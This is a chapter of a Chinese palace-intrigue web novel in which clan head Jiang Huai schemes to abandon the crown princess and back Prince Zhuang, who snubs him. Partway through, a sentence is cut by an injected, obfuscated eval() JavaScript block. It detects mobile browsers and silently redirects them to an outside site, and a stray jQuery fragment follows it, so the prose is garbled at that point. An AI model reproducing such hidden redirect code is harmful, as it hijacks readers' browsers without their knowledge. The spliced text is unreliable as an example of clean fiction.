因为一场恶梦,云衔月这个年过的并不算好,但大年初一的阳光却格外好,太阳黄橙橙的像是个大橘子,暖黄的光线照在树上,屋檐上,宫墙上,给冰冷的皇宫都渡上了一层暖色。
云衔月起来之后用过了早膳,就捧着汤婆子在正房的廊下接受听海院里宫人们的拜年和吉祥话。
宫里的人大概都掌握了一门说话的技术,哪怕平日里看起来比较沉默寡言的人,这会儿说起各种祝福语来也跟不要钱一样,马屁直接拍在了云衔月的心坎上。云衔月又大方的赏下了不少银子,心情都跟着好了许都。
和她的好心情以及听海院的热闹恰好相反的就是吏部尚书府。
身为江家的族长,江怀其实一直都明白皇家对于世家的态度并不友好,甚至有想要处置后快的打算。他也知道,世家经营多年势力盘根错节,想要除掉世家实则难于上青天。
那么多年来,也不是没有皇帝想要对世家动手的,可无一都是以失败告终。龙椅上的皇帝已经换了几轮了,他们四大世家依旧屹立不倒。
到明帝这里,江怀也是这么认为的。诚然,明帝比别的皇帝都要杀伐果断,也豁得出去,可他也有致命的缺点——他太长情。虽有平衡前朝后宫的妃嫔,也有别的皇子,可他眼里始终只有许皇后这一个女人以及和许皇后生的三个孩子。
人都是有欲|望的,更别说迟家是真的有皇位要继承,利益当前,都是皇帝的儿子,谁又舍得放弃这泼天的富贵。
现在明帝正直壮年,大权在握,能把太子之外的皇子们压得死死的不能反抗,可他笃定这些皇子早晚会为了皇位争上一争。皇上已经四十出头,总有一天会老的,人老了就容易犯糊涂容易心软,古往今来多少皇帝昏庸在老了的时候,那个时候也是其他皇子的机会。
江怀并不认为明帝会为了太子而早早禅位,明帝是疼太子,可哪个男人不会想要大权在握?能当皇帝,谁愿意去当太上皇?明帝现在疼太子那是因为这并没有触及到他的利益,但凡是损伤了他的利益,太子必然也落不到一个好下场。只可惜他那个孙女是个傻的,一门心思的要嫁给太子,妄想着将来能谋后位。
太子那人能是什么好东西?犯到他手上的人被他砍了八成,他就不是能被感情栓得住的人。
不,或许还是栓得住的。
想到家族安插到宫里的探子传回来的消息,江怀心里又酸涩又复杂,他实在是想不明白云国忠那个老匹夫到底是怎么生出个这么合太子心意的女儿的。
那简直就像是打马吊的时候抓了一手的烂牌,最后确实她赢了的感觉。云衔月抓的这手牌还不烂吗,她在某种意义上来说就是太子的卖身契,那东宫女眷也不少,环肥燕瘦各有特色,太子却偏偏看上了这张‘卖身契’,甚至还同她有了孩子。
和太子妃一样,江怀到现在也不明白到底是为什么,但这并不影响他这会儿气太子妃当初没长脑子,竟主动把手里的把柄送到了太子手上。
他听说东宫里的太子妃已经病了许久,但他却也顾不上了,别说他和江家现在并不能给太子妃带来什么便利,单说大孙女给太子递交了那些关于四大世家的不利证据,她在江家就已经是叛徒了。
想到这一切事情的推手很有可能也是自己孙女,江怀眼中闪过一抹阴翳狠厉,若不是她,皇帝和太子哪有那么容易就冲世家下手。
书房里江怀脸色阴沉,下首坐着的几个儿子都闭紧了嘴巴,一句话都不敢说,生怕触了江怀的霉头。特别是江家长子江源,太子妃江雨浓是他的嫡长女,享受了家里的特权优待和族人供奉,却给家族捅下了那么大的篓子,他都恨不得把她塞回她娘肚子里。
就不该生她!
他心里生气,偏偏还有看不懂脸色的出来说话。
江逸看看脸色铁青的父亲,又看看沉默不语的哥哥们,实在不明白为什么父亲兄长们会对这些事情如此看重。不就是被皇上针对吗?他们江家屹立数百年不倒,除了龙椅上坐的不是江家人之外,权势地位有什么是没有的?哪里会是这么些针对打压就能造成不可控的影响的?
他们被皇家针对打压的还少吗?
他实在是受不了书房里的气氛,没忍住开口说道:“爹,何至于如此优信,咱江家是四大世家之首,多少皇帝想要换了我们,现在我们不还是好好的,还越来越富贵。”
江逸是江怀的老来子,是江怀最喜欢的小妾给他生的儿子。他向来对这个儿子没抱有太大期望,只希望他能平安富贵的过一生。毕竟江逸上头几个哥哥都已经长成,手中的势力已经稳固,江怀的长孙次孙年纪都比江逸大,他也没想过要把其他儿子手里的势力分给小儿子。
况且嫡庶不分是乱家根本,他宠着江逸,其它儿子也不在乎,那是因为他们都知道江逸再拥有别的东西,动摇不了他们的利益他也不会为了江逸动摇嫡长子江源的地位,。
江逸,只需要潇洒肆意,富贵一生就行。
可他虽然对江逸没要求,但也没想到他居然能这么不敏锐这么蠢。有那么一瞬间,江怀有些后悔没有好好培养这个儿子,要不然何至于如此‘单蠢’。
但下一瞬间,江怀又想起了江逸的生母,那个女人长的是真好看,可惜就是没脑子,这么看小儿子也是随了他亲娘了。
江怀本就不喜欢太聪明太强势的女人,江逸的母亲确实是处处和他心意,长得好看人笨笨的但识时务,床上也放得开,非常适合当小妾。只是没想到这些他认为的优点都会成为回旋镖,到了小儿子身上变成了缺点,还全部扎到了他身上。
他深吸了一口气,把这些乱七八糟的想法先抛到一边,等江家度过了这个难关,他有的是时间来收拾这个蠢儿子。
不求他像自己哥哥们一样聪明,只求他不会蠢笨如猪。
江怀没理江逸,怕自己的心脏受不了自己会被江逸气死。他扭头看江源:“去给庄王下帖子,说我请他过门小聚,有要事相谈。另外让你夫人传话给动东宫给太子妃,让她做事之前先想想家里的亲人,而不是只想着自己。”
他必须为家族再多打算一些。
他又看向嫡次子江训:“回头让你母亲给雪儿找两个宫里出来的嬷嬷教导她宫里的规矩,让她做好入庄王府的准备,等到了年岁了便可入庄王府。”
雪儿便是江训的嫡幼女江暮雪,现在还未及笄。
一直坐在江源对面沉默着没说话江训没想到江怀会说这个,他愣了一下,下意识的看了眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591950|170498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对面的大哥。江源这会儿的面色比江怀还难看,他实在是看不出什么。可想来也不会太好,毕竟现在的太子妃是大哥的嫡长女,父亲这话的意思,明显是要放弃太子妃了。
见他没有说话,江怀又道:“放心,现在是侧妃,将来肯定不止是侧妃。”
说完他也淡淡的看了江源一眼,出声安抚道:“放心,虽要扶持庄王,可家族也不会因为太子妃之事剥夺你继承人的身份,你只需好好当差,旁的不用多想。”
世家认嫡子,江源是嫡也是长,不到万不得已,他不会换继承人。
“现在咱们家要同心协力渡过这一关。渡过去了,往后家族一片坦途。渡不过去,那全族就等着抄家流放吧。”
太子承了明帝的衣钵,甚至比明帝还更想搞死世家,他必须扶持一个亲近世家的皇子。根据探子传上来的情报,庄王是最好的选择。至少在别的王爷都表现得‘我听父皇的话,一定好好帮太子,唯太子马首是瞻’时,只有庄王是敢露出自己的野心的。
庄王上位,能保江家暂时无忧。只要雪儿将来做了皇后生下了太子,便能在保江家百年荣华。哪怕庄王有侧妃有嫡子又如何,庄王的嫡子还是个不到三岁的稚儿,小孩子夭折实属正常。不过倒也能像是庄王妃一样,先为雪儿和雪儿的孩子抗住明枪暗箭,等合适的时候‘病逝’就行。至于江暮雪能不能生出儿子,他没有去想,反正她不能生,家族里也有的是女人能生。
这一刻江怀想了许多,唯独没想到的是,江源连庄王府的大门都没进去,跟别说让庄王过江府一叙了。
**
庄王府里,庄王看着底下人送上来的帖子,扯了扯唇角笑得讽刺。
片刻后他冷笑了一声,把帖子丢在案桌上:“你去同江源说,本王没空。若是真的有什么没说就会影响大晋存亡的事情要告诉本王,那就让江怀亲自过来同本王说。”
让他去江家,甚至江怀自己都没出面,而是打发了江源过来传话,这未免也太不给他这个庄王面子了。要知道江家现在自己都是泥菩萨过江自身难保了,又哪来那么大脸让他堂堂一个王爷去江府。
还在等回复的庄王府侍从赢了声是,然后麻利的就出去了。
见他走了,一直坐在书房里喝茶的一个老者微垂下眼睑挡住了眼睛里所有的情绪。他喝了一口茶,这才笑着道:“江尚书未免也太过于想当然了些,皇上和太子要弄世家,现在谁又敢明目张胆的帮助这些人呢。”
“父皇和老六从不打没把握的仗,现在他们会朝这些世家大族出手,定不会给他们留余地,本王又能干预什么。”说到这里,庄王脸色有些难看,但他这十多年来也已经习惯了这种不平等,虽然还是很气愤,但已经不如最开始时那么难接受了。
“江怀想要求本王庇护,自然是要拿出让本王心动的东西来。”
老者在心里暗暗叹了口气,实在是不明白庄王这个脑子,是怎么觉得自己能斗倒太子自己做储君将来继承皇位的。别说是皇上不会选庄王,便是庄王这个脑子就不允许啊。
与此同时,一辆用料普通没有徽记的马车已经过了首都的城门,缓缓的往内城而来,一双素手撩起了马车的帘子,视线贪婪的看着车外。